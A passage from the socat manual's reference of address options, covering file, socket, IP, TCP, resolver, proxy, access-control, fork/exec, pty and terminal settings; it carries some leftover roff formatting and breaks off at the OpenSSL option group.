unlink-close[=<bool>]
Controls removal of the addresses file system entry when closing the address. For named pipes, UNIX domain sockets, and the symbolic links of pty addresses, the default is remove (1); for created files, opened files, and generic opened files the default is keep (0). Setting this option to 1 removes the entry, 0 keeps it. No value means 1.

OPEN option group

The OPEN group options allow setting flags with the open() system call. E.g., option `creat’ sets the O_CREAT flag. When the used address does not use open() (e.g.STDIO), the fcntl(..., F_SETFL, ...) call is used instead.
See also options append and nonblock.

creat[=<bool>]
Creates the file if it does not exist (example).

dsync[=<bool>]
Blocks write() calls until metainfo is physically written to media.

excl[=<bool>]
With option creat, if file exists this is an error.

largefile[=<bool>]
On 32 bit systems, allows a file larger than 2^31 bytes.

noatime[=<bool>]
Sets the O_NOATIME options, so reads do not change the access timestamp.

noctty[=<bool>]
Does not make this file the controlling terminal.

nofollow[=<bool>]
Does not follow symbolic links.

nshare[=<bool>]
Does not allow sharing this file with other processes.

rshare[=<bool>]
Does not allow other processes to open this file for writing.

rsync[=<bool>]
Blocks write() until metainfo is physically written to media.

sync[=<bool>]
Blocks write() until data is physically written to media.

rdonly[=<bool>]
Opens the file for reading only.

wronly[=<bool>]
Opens the file for writing only.

trunc[=<bool>]
Truncates the file to size 0 during opening it.

REG and BLK option group

These options are usually applied to a UN*X file descriptor, but their semantics make sense only on a file supporting random access.

seek=<offset>
Applies the lseek(fd, <offset>, SEEK_SET) (or lseek64 ) system call, thus positioning the file pointer absolutely to <offset> [off_t or off64_t]. Please note that a missing value defaults to 1, not 0.

seek-cur=<offset>
Applies the lseek(fd, <offset>, SEEK_CUR) (or lseek64 ) system call, thus positioning the file pointer <offset> [off_t or off64_t] bytes relatively to its current position (which is usually 0). Please note that a missing value defaults to 1, not 0.

seek-end=<offset>
Applies the lseek(fd, <offset>, SEEK_END) (or lseek64 ) system call, thus positioning the file pointer <offset> [off_t or off64_t] bytes relatively to the files current end. Please note that a missing value defaults to 1, not 0.

ftruncate=<offset>
Applies the ftruncate(fd, <offset>) (or ftruncate64 if available) system call, thus truncating the file at the position <offset> [off_t or off64_t]. Please note that a missing value defaults to 1, not 0.

secrm[=<bool>]

unrm[=<bool>]

compr[=<bool>]

fs-sync[=<bool>]

immutable[=<bool>]

fs-append[=<bool>]

nodump[=<bool>]

fs-noatime[=<bool>]

journal-data[=<bool>]

notail[=<bool>]

dirsync[=<bool>]
These options change non standard file attributes on operating systems and file systems that support these features, like Linux with ext2fs and successors, xfs, or reiserfs. See man 1 chattr for information on these options. Please note that there might be a race condition between creating the file and applying these options.

PIPE options

These options may be applied to pipes (fifos).

f-setpipe-sz=<int>

setpipe=<int>
Set the number of bytes a pipe can buffer. Where more bytes are written the writing process might block. When more bytes are written in a single write()`` the writing process blocks and might never recover.

General address options

These options may be applied to all address types. They change some process properties that are restored after opening the address.

chdir=<filename>

cd=<filename>
Changes the working directory. After opening the address the master process changes back to the original working directory. Sub processes inherit the temporary setting.

umask=<mode>
Sets the umask of the process to <mode> [mode_t] before opening the address. Useful when file system entries are created or a shell or program is invoked. Usually the value is specified as octal number.
The processes umask`` value is inherited by child processes. Note: umask is an inverted value: creating a file with umask=0026 results in permissions 0640.

PROCESS option group

Options of this group change the process properties instead of just affecting one data channel. For EXEC and SYSTEM addresses and for LISTEN and CONNECT type addresses with option fork, these options apply to the child processes instead of the main socat process.

chroot=<directory>
Performs a chroot() operation to <directory> after processing the address (example). This call might require root privilege.

chroot-early=<directory>
Performs a chroot() operation to <directory> before opening the address. This call might require root privilege.

setgid=<group>
Changes the primary <group> of the process after processing the address. This call might require root privilege. Please note that this option does not drop other group related privileges.

setgid-early=<group>
Like setgit but is performed before opening the address.

setuid=<user>
Changes the <user> (owner) of the process after processing the address. This call might require root privilege. Please note that this option does not drop group related privileges. Check if option su better fits your needs.

setuid-early=<user>
Like setuid but is performed before opening the address.

su=<user>
Changes the <user> (owner) and groups of the process after processing the address (example). This call might require root privilege.

su-d=<user>
Short name for substuser-delayed``. Changes the <user> (owner) and groups of the process after processing the address (example). The user and his groups are retrieved before a possible chroot() . This call might require root privilege.

setpgid=<pid_t>
Makes the process a member of the specified process group <pid_t>. If no value is given, or if the value is 0 or 1, the process becomes leader of a new process group.

setsid
Makes the process the leader of a new session (example).

netns=<net-namespace-name>
Before opening the address it tries to switch to the named network namespace. After opening the address it switches back to the previous namespace. (Example with TCP forwarder, example with virtual network connection.
Only on Linux; requires root; use option --experimental``.

READLINE option group

Due to licensing restrictions the readline feature is disabled in Debian (see BUGS).
These options apply to the readline address type.

history=<filename>
Reads and writes history from/to <filename> (example).

noprompt
Since version 1.4.0, socat per default tries to determine a prompt - that is then passed to the readline call - by remembering the last incomplete line of the output. With this option, socat does not pass a prompt to readline, so it begins line editing in the first column of the terminal.

noecho=<pattern>
Specifies a regular pattern for a prompt that prevents the following input line from being displayed on the screen and from being added to the history. The prompt is defined as the text that was output to the readline address after the lastest newline character and before an input character was typed. The pattern is a regular expression, e.g. “^[Pp]assword:.*$” or “([Uu]ser:|[Pp]assword:)”. See regex(7) for details. (example)

prompt=<string>
Passes the string as prompt to the readline function. readline prints this prompt when stepping through the history. If this string matches a constant prompt issued by an interactive program on the other socat address, consistent look and feel can be achieved.

APPLICATION option group

This group contains options that work at data level. Note that these options only apply to the “raw” data transferred by socat, but not to protocol data used by addresses like PROXY.

cr
Converts the default line termination character NL (’ ’, 0x0a) to/from CR (’ ’, 0x0d) when writing/reading on this channel.

crnl
Converts the default line termination character NL (’ ’, 0x0a) to/from CRNL (” “, 0x0d0a) when writing/reading on this channel (example). Note: socat simply strips all CR characters.

ignoreeof
When EOF occurs on this channel, socat ignores it and tries to read more data (like “tail -f”) (example).

readbytes=<bytes>
socat reads only so many bytes from this address (the address provides only so many bytes for transfer and pretends to be at EOF afterwards). Must be greater than 0.

lockfile=<filename>
If lockfile exists, exits with error. If lockfile does not exist, creates it and continues, unlinks lockfile on exit.

waitlock=<filename>
If lockfile exists, waits until it disappears. When lockfile does not exist, creates it and continues, unlinks lockfile on exit.

escape=<int>
Specifies the numeric code of a character that triggers EOF on the input stream. It is useful with a terminal in raw mode (example).

SOCKET option group

These options are intended for all kinds of sockets, e.g. IP or UNIX domain. Most are applied with a setsockopt() call.

bind=<sockname>
Binds the socket to the given socket address using the bind() system call. The form of <sockname> is socket domain dependent: IP4 and IP6 allow the form [hostname|hostaddress][:(service|port)] (example), VSOCK allows the form [cid][:(port)].
See also: unix-bind-tempname

connect-timeout=<seconds>
Abort the connection attempt after <seconds> [timeval] with error status.

so-bindtodevice=<interface>
Binds the socket to the given <interface>. This option might require root privilege.

broadcast
For datagram sockets, allows sending to broadcast addresses and receiving packets addressed to broadcast addresses.

debug
Enables socket debugging.

dontroute
Only communicates with directly connected peers, does not use routers.

keepalive
Enables sending keepalives on the socket.

linger=<seconds>
Blocks shutdown() or close() until data transfers have finished or the given timeout [int] expired.

oobinline
Places out-of-band data in the input data stream.

priority=<priority>
Sets the protocol defined <priority> [<int>] for outgoing packets.

rcvbuf=<bytes>
Sets the size of the receive buffer after the socket() call to <bytes> [int]. With TCP sockets, this value corresponds to the socket’s maximal window size.

rcvbuf-late=<bytes>
Sets the size of the receive buffer when the socket is already connected to <bytes> [int]. With TCP sockets, this value corresponds to the socket’s maximal window size.

so-rcvtimeo=<time>, rcvtimeo=<time>
Specifies the time [int] until recv() , read() etc. functions timeout when no data is received. Note that in the transfer phase socatonly calls these functions when select() has reported that data is available. However this option is useful with DTLS addresses to timeout during connection negotiation.

so-sndtimeo=<time>, sndtimeo=<time>
Like so-recvtimeo, but for send . Not usecase known.

rcvlowat=<bytes>
Specifies the minimum number of received bytes [int] until the socket layer will pass the buffered data to socat.

reuseaddr[=[0|1]]
Allows other sockets to bind to an address even if parts of it (e.g. the local port) are already in use by socat.
With version 1.8.0, this socket option is set automatically for TCP LISTEN addresses. If you prefer the system default (no related setsockopt(...SO_REUSEADDR...)`` call at all), use form ``reuseaddr=``.
(example).

sndbuf=<bytes>
Sets the size of the send buffer after the socket() call to <bytes> [int].

sndbuf-late=<bytes>
Sets the size of the send buffer when the socket is connected to <bytes> [int].

sndlowat=<bytes>
Specifies the minimum number of bytes in the send buffer until the socket layer will send the data to <bytes> [int].

pf=<string>
Forces the use of the specified IP version or protocol. <string> can be something like “ip4” or “ip6”. The resulting value is used as first argument to the socket() or socketpair() calls. This option affects address resolution and the required syntax of bind and range options.

socktype=<type>
Sets the type of the socket, specified as second argument to the socket() or socketpair() calls, to <type> [int]. Address resolution is not affected by this option. Under Linux, 1 means stream oriented socket, 2 means datagram socket, 3 means raw socket, and 5 seqpacket (stream keeping packet boundaries). Datagrams are useful when you want to keep packet boundaries.

protocol
Sets the protocol of the socket, specified as third argument to the socket() or socketpair() calls, to <protocol> [int]. Address resolution is not affected by this option. 6 means TCP, 17 means UDP.

reuseport
Set the SO_REUSEPORT socket option.

so-timestamp
Sets the SO_TIMESTAMP socket option. This enables receiving and logging of timestamp ancillary messages.

setsockopt=<level>:<optname>:<optval>
Invokes setsockopt()`` for the socket with the given parameters. ``level [int] is used as second argument to setsockopt()`` and specifies the layer, e.g. SOL_TCP for TCP (6 on Linux), or SOL_SOCKET for the socket layer (1 on Linux). optname`` [int] is the third argument to setsockopt()`` and tells which socket option is to be set. For the actual numbers you might have to look up the appropriate include files of your system. For the 4th and 5th setsockopt()`` parameters, value`` [dalan] specifies an arbitrary sequence of bytes that are passed to the function per pointer, with the automatically derived length parameter.

setsockopt-int=<level>:<optname>:<optval>
Like setsockopt``, but <optval> is a pointer to int [int]

setsockopt-listen=<level>:<optname>:<optval>
Like setsockopt``, but for listen type addresses it is applied to the listening socket instead of the connected socket.

setsockopt-string=<level>:<optname>:<optval>
Like setsockopt``, but <optval> is a string. This string is passed to the function with trailing null character, and the length parameter is automatically derived from the data.

UNIX option group

These options apply to UNIX domain based addresses.

“bind-tempname[=/tmp/pre-XXXXXX],
unix-bind-tempname[=/tmp/pre-XXXXXX]" Binds to a random path or random address (on abstract namespace sockets). This is useful with datagram client addresses (SENDTO``, or ``CLIENT``) that are opened in child processes forked off from a common parent process where the child processes cannot have different bind options. In the path X ’s get replaced with a random character sequence similar to tempnam(3). When no argument is given socat takes a default like /tmp/fileXXXXXX .

unix-tightsocklen[=(0|1)]
On socket operations, pass a socket address length that does not include the whole struct sockaddr_un record but (besides other components) only the relevant part of the filename or abstract string. Default is 1.

IP4 and IP6 option groups

These options can be used with IPv4 and IPv6 based sockets.

tos=<tos>
Sets the TOS (type of service) field of outgoing packets to <tos> [byte] (see RFC 791).

ttl=<ttl>
Sets the TTL (time to live) field of outgoing packets to <ttl> [byte].

ip-options=<data>
Sets IP options like source routing. Must be given in binary form, recommended format is a leading “x” followed by an even number of hex digits. This option may be used multiple times, data are appended. E.g., to connect to host 10.0.0.1 via some gateway using a loose source route, use the gateway as address parameter and set a loose source route using the option ip-options=x8307040a000001 .
IP options are defined in RFC 791.

mtudiscover=<0|1|2>
Takes 0, 1, 2 to never, want, or always use path MTU discover on this socket.

ip-pktinfo
Sets the IP_PKTINFO socket option. This enables receiving and logging of ancillary messages containing destination address and interface (Linux) (example).

ip-recverr
Sets the IP_RECVERR socket option. This enables receiving and logging of ancillary messages containing detailed error information.

ip-recvopts
Sets the IP_RECVOPTS socket option. This enables receiving and logging of IP options ancillary messages (Linux, *BSD).

ip-recvtos
Sets the IP_RECVTOS socket option. This enables receiving and logging of TOS (type of service) ancillary messages (Linux).

ip-recvttl
Sets the IP_RECVTTL socket option. This enables receiving and logging of TTL (time to live) ancillary messages (Linux, *BSD).

ip-recvdstaddr
Sets the IP_RECVDSTADDR socket option. This enables receiving and logging of ancillary messages containing destination address (*BSD) (example).

ip-recvif
Sets the IP_RECVIF socket option. This enables receiving and logging of interface ancillary messages (*BSD) (example).

ip-add-membership=<multicast-address:interface-address>

ip-add-membership=<multicast-address:interface-name>

ip-add-membership=<multicast-address:interface-index>

ip-add-membership=<multicast-address:interface-address:interface-name>

ip-add-membership=<multicast-address:interface-address:interface-index>
Makes the socket member of the specified multicast group. This only works for IPv4, see ipv6-join-group for the IPv6 variant. The option takes the IP address of the multicast group and info about the desired network interface. The most common syntax is the first one, while the others are only available on systems that provide struct mreqn`` (Linux).
The indices of active network interfaces can be shown using the utility procan.

ip-add-source-membership=<multicast-address:interface-address:source-address>
Makes the socket member of the specified multicast group for the specified source, i.e. only multicast traffic from this address is to be delivered. This only works for IPv4, see ipv6-join-source-group for the IPv6 variant. The option takes the IP address of the multicast group, the IP address of the desired network interface and the source IP address of the multicast traffic.

ipv6-join-group=<multicast-address:interface-name>

ipv6-join-group=<multicast-address:interface-index>
Makes the socket member of the specified multicast group. This only works for IPv6, see ip-add-membership for the IPv4 variant. The option takes the IP address of the multicast group and info about the desired network interface. The indices of active network interfaces can be shown using the utility procan.

ipv6-join-source-group=<multicast-address:interface-name:source-address>

ipv6-join-source-group=<multicast-address:interface-index:source-address>
Makes the socket member of the specified multicast group for the specified source, i.e. only multicast traffic from this address is to be delivered. This only works for IPv6, see ip-add-source-membership for the IPv4 variant. The option takes the IP address of the multicast group, info about the desired network interface and the source IP address of the multicast traffic. The indices of active network interfaces can be shown using the utility procan.

ip-multicast-if=<hostname>
Specifies hostname or address of the network interface to be used for multicast traffic.

ip-multicast-loop[=<bool>]
Specifies if outgoing multicast traffic should loop back to the interface.

ip-multicast-ttl=<byte>
Sets the TTL used for outgoing multicast traffic. Default is 1.

ip-transparent
Sets the IP_TRANSPARENT socket option. This option might require root privilege.

Resolver options

These options temporarily change the behaviour of hostname resolution. The options of form ai-* affect behaviour of the getaddrinfo() function that includes /etc/hosts and NIS based lookups.

The addresses of form res-* only affect DNS lookups, and only when the result is not cached in nscd . These options might not work on all operating systems or libc implementations.

ai-addrconfig[=0|1]

addrconfig[=0|1]
Sets or unsets the AI_ADDRCONFIG flag to prevent name resolution to address families that are not available on the computer (e.g. IPv6). Default value is 1 in case the resolver does not get an address family hint from Socat address or defaults.

ai-passive[=0|1]

passive[=0|1]
Sets of unsets the AI_PASSIVE flag for getaddrinfo() calls. Default is 1 for LISTEN, RECV, and RECVFROM type addresses, and with bind option.

ai-v4mapped[=0|1]

v4mapped[=0|1]
Sets or unsets the AI_V4MAPPED flag for getaddrinfo() . With socat addresses requiring IPv6 addresses, this resolves IPv4 addresses to the approriate IPv6 address [::ffff:*:*]. For IPv6 Socat addresses, the default is 1.

res-debug

res-aaonly

res-usevc

res-primary

res-igntc

res-recurse

res-defnames

res-stayopen

res-dnsrch
These options set the corresponding resolver (name resolution) option flags. Append “=0” to clear a default option. See man resolver(5) for more information on these options. Socat restores the old values after finishing the open phase of the address, so these options are valid just for the address they are applied to.
Please note that these flags only affect DNS resolution, but not hosts or NIS based name resolution, and they have no effect when (g)libc retrieves the results from nscd .

res-retrans=<int>
Sets the retransmission time interval of the DNS resolver (based on an undocumented feature).

res-retry=<int>
Sets the number of retransmits of the DNS resolver (based on an undocumented feature).

res-nsaddr=<ipaddr>[:<port>]
Tries to overwrite nameserver settings loaded from /etc/resolv.conf by writing the given IPv4 address into the undocumented _res:nsaddr_list[0] field. /etc/hosts is still checked by resolver. Please note that glibc’s nscd is always queried first when it is running!

IP6 option group

These options can only be used on IPv6 based sockets. See IP options for options that can be applied to both IPv4 and IPv6 sockets.

ipv6only[=<bool>]
Sets the IPV6_V6ONLY socket option. If 0, the TCP stack will also accept connections using IPv4 protocol on the same port. The default is system dependent.

ipv6-recvdstopts
Sets the IPV6_RECVDSTOPTS socket option. This enables receiving and logging of ancillary messages containing the destination options.

ipv6-recvhoplimit
Sets the IPV6_RECVHOPLIMIT socket option. This enables receiving and logging of ancillary messages containing the hoplimit.

ipv6-recvhopopts
Sets the IPV6_RECVHOPOPTS socket option. This enables receiving and logging of ancillary messages containing the hop options.

ipv6-recvpktinfo
Sets the IPV6_RECVPKTINFO socket option. This enables receiving and logging of ancillary messages containing destination address and interface.

ipv6-unicast-hops=link(TYPE_INT)(<int>)
Sets the IPV6_UNICAST_HOPS socket option. This sets the hop count limit (TTL) for outgoing unicast packets.

ipv6-recvrthdr
Sets the IPV6_RECVRTHDR socket option. This enables receiving and logging of ancillary messages containing routing information.

ipv6-tclass
Sets the IPV6_TCLASS socket option. This sets the transfer class of outgoing packets.

ipv6-recvtclass
Sets the IPV6_RECVTCLASS socket option. This enables receiving and logging of ancillary messages containing the transfer class.

TCP option group

These options may be applied to TCP sockets. They work by invoking setsockopt() with the appropriate parameters.

cork
Doesn’t send packets smaller than MSS (maximal segment size).

defer-accept
While listening, accepts connections only when data from the peer arrived.

keepcnt=<count>
Sets the number of keepalives before shutting down the socket to <count> [int].

keepidle=<seconds>
Sets the idle time before sending the first keepalive to <seconds> [int].

keepintvl=<seconds>
Sets the interval between two keepalives to <seconds> [int].

linger2=<seconds>
Sets the time to keep the socket in FIN-WAIT-2 state to <seconds> [int].

mss=<bytes>
Sets the MSS (maximum segment size) after the socket() call to <bytes> [int]. This value is then proposed to the peer with the SYN or SYN/ACK packet (example).

mss-late=<bytes>
Sets the MSS of the socket after connection has been established to <bytes> [int].

nodelay
Turns off the Nagle algorithm for measuring the RTT (round trip time).

rfc1323
Enables RFC1323 TCP options: TCP window scale, round-trip time measurement (RTTM), and protect against wrapped sequence numbers (PAWS) (AIX).

stdurg
Enables RFC1122 compliant urgent pointer handling (AIX).

syncnt=<count>
Sets the maximal number of SYN retransmits during connect to <count> [int].

md5sig
Enables generation of MD5 digests on the packets (FreeBSD).

noopt
Disables use of TCP options (FreeBSD, MacOSX).

nopush
sets the TCP_NOPUSH socket option (FreeBSD, MacOSX).

sack-disable
Disables use the selective acknowledge feature (OpenBSD).

signature-enable
Enables generation of MD5 digests on the packets (OpenBSD).

abort-threshold=<milliseconds>
Sets the time to wait for an answer of the peer on an established connection (HP-UX).

conn-abort-threshold=<milliseconds>
Sets the time to wait for an answer of the server during the initial connect (HP-UX).

keepinit
Sets the time to wait for an answer of the server during connect() before giving up. Value in half seconds, default is 150 (75s) (Tru64).

paws
Enables the “protect against wrapped sequence numbers” feature (Tru64).

sackena
Enables selective acknowledge (Tru64).

tsoptena
Enables the time stamp option that allows RTT recalculation on existing connections (Tru64).

UDP option group

This option may be applied to UDP datagram sockets.

udp-ignore-peerport>
Address UDP-DATAGRAM expects incoming responses to come from the port specified in its second parameter. With this option, it accepts packets coming from any port.

UDPLITE option group

These options may be applied to UDPLITE addresses:

udplite-send-cscov
Sets the number of bytes for which the checksum is calculated and sent (“checksum coverage”).

udplite-recv-cscov
Sets the number of bytes for which the checksum is checked (“checksum coverage”).

SCTP option group

These options may be applied to SCTP stream sockets.

sctp-nodelay
Sets the SCTP_NODELAY socket option that disables the Nagle algorithm.

sctp-maxseg=<bytes>
Sets the SCTP_MAXSEG socket option to <bytes> [int]. This value is then proposed to the peer with the SYN or SYN/ACK packet.

DCCP option group

These options may be applied to DCCP sockets.

dccp-set-ccid=<int>

ccid=<int>
Selects the desired congestion control mechanism (CCID).

UDP, TCP, SCTP, DCCP, and UDPLITE option group

Here we find options that are related to the network port mechanism and thus can be used with UDP, TCP, SCTP, DCCP, and UDP-Lite client and server addresses.

sourceport=<port>
For outgoing (client) connections, it sets the source <port> using an extra bind() call. With TCP or UDP listen addresses, socat immediately shuts down the connection if the client does not use this sourceport. UDP-RECV, UDP-RECVFROM, UDP-SENDTO, and UDP-DATAGRAM addresses ignore the packet when it does not match. (example).

lowport
Outgoing (client) connections with this option use an unused random source port between 640 and 1023 incl. On UNIX class operating systems, this requires root privilege, and thus indicates that the client process is authorized by local root. TCP and UDP listen addresses with this option immediately shut down the connection if the client does not use a sourceport <= 1023. This mechanism can provide limited authorization under some circumstances.

SOCKS option group

When using SOCKS type addresses, some socks specific options can be set.

socksport=<tcp service>
Overrides the default “socks” service or port 1080 for the socks server port with <TCP service>.

socksuser=<user>
Sends the <user> [string] in the username field to the socks server. Default is the actual user name ($LOGNAME or $USER) (example).

HTTP option group

Options that can be provided with HTTP type addresses. The only HTTP address currently implemented is proxy-connect.

http-version=<string>
Changes the default “1.0” that is sent to the server in the initial HTTP request. Currently it has not other effect, in particular it does not provide any means to send a Host header.

proxyport=<TCP service>
Overrides the default HTTP proxy port 8080 with <TCP service>.

ignorecr
The HTTP protocol requires the use of CR+NL as line terminator. When a proxy server violates this standard, socat might not understand its answer. This option directs socat to interprete NL as line terminator and to ignore CR in the answer. Nevertheless, socat sends CR+NL to the proxy.

proxy-authorization=<username>:<password>
Provide “basic” authentication to the proxy server. The argument to the option is used with a “Proxy-Authorization: Basic” header in base64 encoded form.
Note: username and password are visible for every user on the local machine in the process list; username and password are transferred to the proxy server unencrypted (base64 encoded) and might be sniffed.

proxy-authorization-file=<filename>
Like option proxy-authorization, but the credentials are read from the file and therefore not visible in the process list.

resolve
Per default, socat sends to the proxy a CONNECT request containing the target hostname. With this option, socat resolves the hostname locally and sends the IP address. Please note that, according to RFC 2396, only name resolution to IPv4 addresses is implemented.

RANGE option group

These options check if a connecting client should be granted access. They can be applied to listening and receiving network sockets. tcp-wrappers options fall into this group.

range=<address-range>
After accepting a connection, tests if the peer is within range. For IPv4 addresses, address-range takes the form address/bits, e.g. 10.0.0.0/8, or address:mask, e.g. 10.0.0.0:255.0.0.0 (example); for IPv6, it is [ip6-address]/bits, e.g. [::1]/128. If the client address does not match, socat refuses the connection attempt, issues a warning, and keeps listening/receiving.

tcpwrap[=<name>]
Uses Wietse Venema’s libwrap (tcpd) library to determine if the client is allowed to connect. The configuration files are /etc/hosts.allow and /etc/hosts.deny per default, see “man 5 hosts_access” for more information. The optional <name> (type string) is passed to the wrapper functions as daemon process name (example). If omitted, the basename of socats invocation (argv[0]) is passed. If both tcpwrap and range options are applied to an address, both conditions must be fulfilled to allow the connection.

allow-table=<filename>
Takes the specified file instead of /etc/hosts.allow.

deny-table=<filename>
Takes the specified file instead of /etc/hosts.deny.

tcpwrap-etc=<directoryname>
Looks for hosts.allow and hosts.deny in the specified directory. Is overridden by options hosts-allow and hosts-deny.

LISTEN option group

Options specific to listening sockets.

backlog=<count>
Sets the backlog value passed with the listen() system call to <count> [int]. Default is 5.

accept-timeout=<seconds>
End waiting for a connection after <seconds> [timeval] with error status.

CHILD option group

Addresses of LISTEN and CONNECT type take the fork option to handle multiple connections via child processes.

fork
After establishing a connection, handles its channel in a child process and keeps the parent process attempting to produce more connections, either by listening or by connecting in a loop (example).
OPENSSL-CONNECT and OPENSSL-LISTEN differ in when they actually fork off the child: OPENSSL-LISTEN forks before the SSL handshake, while OPENSSL-CONNECT forks afterwards. retry and forever options are not inherited by the child process.
On some operating systems (e.g. FreeBSD) this option does not work for UDP-LISTEN addresses.

max-children=<count>
Limits the number of concurrent child processes [int]. Default is no limit.

children-shutup[=1|2|..]
Decreases the severity of log messages produced by child processes. For example, with value 1 notices are logged as info (or dropped depending on option -dX), and errors are logged as warnings but still cause termination of the child process.
This option is intended to reduce logging of high volume servers or proxies.
This option succeeds option cool-write.

EXEC option group

Options for addresses that invoke a program.

path=<string>
Overrides the PATH environment variable for searching the program with <string>. This $PATH value is effective in the child process too.

login
Prefixes argv[0] for the execvp() call with ’-’, thus making a shell behave as login shell.

FORK option group

EXEC or SYSTEM addresses invoke a program using a child process and transfer data between socat and the program. The interprocess communication mechanism can be influenced with the following options. Per default, a socketpair() is created and assigned to stdin and stdout of the child process, while stderr is inherited from the socat process, and the child process uses file descriptors 0 and 1 for communicating with the main socat process.

nofork
Does not fork a subprocess for executing the program, instead calls execvp() or system() directly from the actual socat instance. This avoids the overhead of another process between the program and its peer, but introduces a lot of restrictions:

  1. this option can only be applied to the second socat address.

  2. it cannot be applied to a part of a dual address.

  3. the first socat address cannot be OPENSSL or READLINE

  4. socat options -b, -t, -D, -l, -v, -x become useless

  5. for both addresses, options ignoreeof, cr, and crnl become useless

  6. for the second address (the one with option nofork), options append, cloexec, flock, user, group, mode, nonblock, perm-late, setlk, and setpgid cannot be applied. Some of these could be used on the first address though.

pipes
Creates a pair of unnamed pipes for interprocess communication instead of a socket pair.

openpty
Establishes communication with the sub process using a pseudo terminal created with openpty() instead of the default (socketpair or ptmx).

ptmx
Establishes communication with the sub process using a pseudo terminal created by opening /dev/ptmxor/dev/ptc instead of the default (socketpair).

pty
Establishes communication with the sub process using a pseudo terminal instead of a socket pair. Creates the pty with an available mechanism. If openpty and ptmx are both available, it uses ptmx because this is POSIX compliant (example).

ctty
Makes the pty the controlling tty of the sub process (example).

stderr
Directs stderr of the sub process to its output channel by making stderr a dup() of stdout (example).

fdin=<fdnum>
Assigns the sub processes input channel to its file descriptor <fdnum> instead of stdin (0). The program started from the subprocess has to use this fd for reading data from socat(example).

fdout=<fdnum>
Assigns the sub processes output channel to its file descriptor <fdnum> instead of stdout (1). The program started from the subprocess has to use this fd for writing data to socat (example).

sighup, sigint, sigquit
Has socat pass signals of this type to the sub process. If no address has this option, socat terminates on these signals.

Options for address SHELL

shell=<filename>
Overwrites use the default shell with the named executable, e.g. /bin/dash``. Also sets the ``SHELL`` environment variable.

TERMIOS option group

For addresses that work on a tty (e.g., stdio, file:/dev/tty, exec:…,pty), the terminal parameters defined in the UN*X termios mechanism are made available as address option parameters. Please note that changes of the parameters of your interactive terminal remain effective after socat’s termination, so you might have to enter “reset” or “stty sane” in your shell afterwards. For EXEC and SYSTEM addresses with option PTY, these options apply to the pty by the child processes.

b0
Disconnects the terminal.

b19200
Sets the serial line speed to 19200 baud. Some other rates are possible; use something like socat -hh |grep ’ b[1-9]’`` to find all speeds supported by your implementation.
Note: On some operating systems, these options may not be available. Use ispeed or ospeed instead.

echo[=<bool>]
Enables or disables local echo.

icanon[=<bool>]
Sets or clears canonical mode, enabling line buffering and some special characters.

raw
Sets raw mode, thus passing input and output almost unprocessed. This option is obsolete, use option rawer or cfmakeraw instead.

rawer
Makes terminal rawer than raw option. This option implicitly turns off echo. (example).

cfmakeraw
Sets raw mode by invoking cfmakeraw()`` or by simulating this call. This option implicitly turns off echo.

ignbrk[=<bool>]
Ignores or interpretes the BREAK character (e.g., ^C)

brkint[=<bool>]

bs0

bs1

bsdly=<0|1>

clocal[=<bool>]

.LP .nf cr0 cr1 cr2 cr3 .fi .IP Sets the carriage return delay to 0, 1, 2, or 3, respectively. 0 means no delay, the other values are terminal dependent.

crdly=<0|1|2|3>

cread[=<bool>]

crtscts[=<bool>]

.LP .nf cs5 cs6 cs7 cs8 .fi .IP Sets the character size to 5, 6, 7, or 8 bits, respectively.

csize=<0|1|2|3>

cstopb[=<bool>]
Sets two stop bits, rather than one.

dsusp=<byte>
Sets the value for the VDSUSP character that suspends the current foreground process and reactivates the shell (all except Linux).

echoctl[=<bool>]
Echos control characters in hat notation (e.g. ^A)

echoe[=<bool>]

echok[=<bool>]

echoke[=<bool>]

echonl[=<bool>]

echoprt[=<bool>]

eof=<byte>

eol=<byte>

eol2=<byte>

erase=<byte>

discard=<byte>

ff0

ff1

ffdly[=<bool>]

flusho[=<bool>]

hupcl[=<bool>]

icrnl[=<bool>]

iexten[=<bool>]

igncr[=<bool>]

ignpar[=<bool>]

imaxbel[=<bool>]

inlcr[=<bool>]

inpck[=<bool>]

intr=<byte>

isig[=<bool>]

ispeed=<unsigned-int>
Set the baud rate for incoming data on this line.
See also: ospeed, b19200

istrip[=<bool>]

iuclc[=<bool>]

ixany[=<bool>]

ixoff[=<bool>]

ixon[=<bool>]

kill=<byte>

lnext=<byte>

min=<byte>

nl0
Sets the newline delay to 0.

nl1

nldly[=<bool>]

noflsh[=<bool>]

ocrnl[=<bool>]

ofdel[=<bool>]

ofill[=<bool>]

olcuc[=<bool>]

onlcr[=<bool>]

onlret[=<bool>]

onocr[=<bool>]

opost[=<bool>]
Enables or disables output processing; e.g., converts NL to CR-NL.

ospeed=<unsigned-int>
Set the baud rate for outgoing data on this line.
See also: ispeed, b19200

parenb[=<bool>]
Enable parity generation on output and parity checking for input.

parmrk[=<bool>]

parodd[=<bool>]

pendin[=<bool>]

quit=<byte>

reprint=<byte>

sane
Brings the terminal to something like a useful default state.

start=<byte>

stop=<byte>

susp=<byte>

swtc=<byte>

tab0

tab1

tab2

tab3

tabdly=<unsigned-int>

time=<byte>

tostop[=<bool>]

vt0

vt1

vtdly[=<bool>]

werase=<byte>

xcase[=<bool>]

xtabs

i-pop-all
With UNIX System V STREAMS, removes all drivers from the stack.

i-push=<string>
With UNIX System V STREAMS, pushes the driver (module) with the given name (string) onto the stack. For example, to make sure that a character device on Solaris supports termios etc, use the following options: i-pop-all,i-push=ptem,i-push=ldterm,i-push=ttcompat

PTY option group

These options are intended for use with the pty address type.

link=<filename>
Generates a symbolic link that points to the actual pseudo terminal (pty). This might help to solve the problem that ptys are generated with more or less unpredictable names, making it difficult to directly access the socat generated pty automatically. With this option, the user can specify a “fix” point in the file hierarchy that helps him to access the actual pty (example). Beginning with socat version 1.4.3, the symbolic link is removed when the address is closed (but see option unlink-close).

wait-slave
Blocks the open phase until a process opens the slave side of the pty. Usually, socat continues after generating the pty with opening the next address or with entering the transfer loop. With the wait-slave option, socat waits until some process opens the slave side of the pty before continuing. This option only works if the operating system provides the poll() system call. And it depends on an undocumented behaviour of pty’s, so it does not work on all operating systems. It has successfully been tested on Linux, FreeBSD, NetBSD, and on Tru64 with openpty.

pty-interval=<seconds>
When the wait-slave option is set, socat periodically checks the HUP condition using poll()`` to find if the pty’s slave side has been opened. The default polling interval is 1s. Use the pty-interval option [timeval] to change this value.

sitout-eio=<timeval>
The login program in Linux closes its tty/pty and reopens it for security reasons. During this time the pty master would get EIO on I/O operations and might terminate. With this option socat tolerates EIO for the specified time. Please note that in this state socat blocks traffic in both directions, even when it is not related to this channel.

OPENSSL option group

These options apply to the openssl and openssl-listen address types.

cipher=<cipherlist>
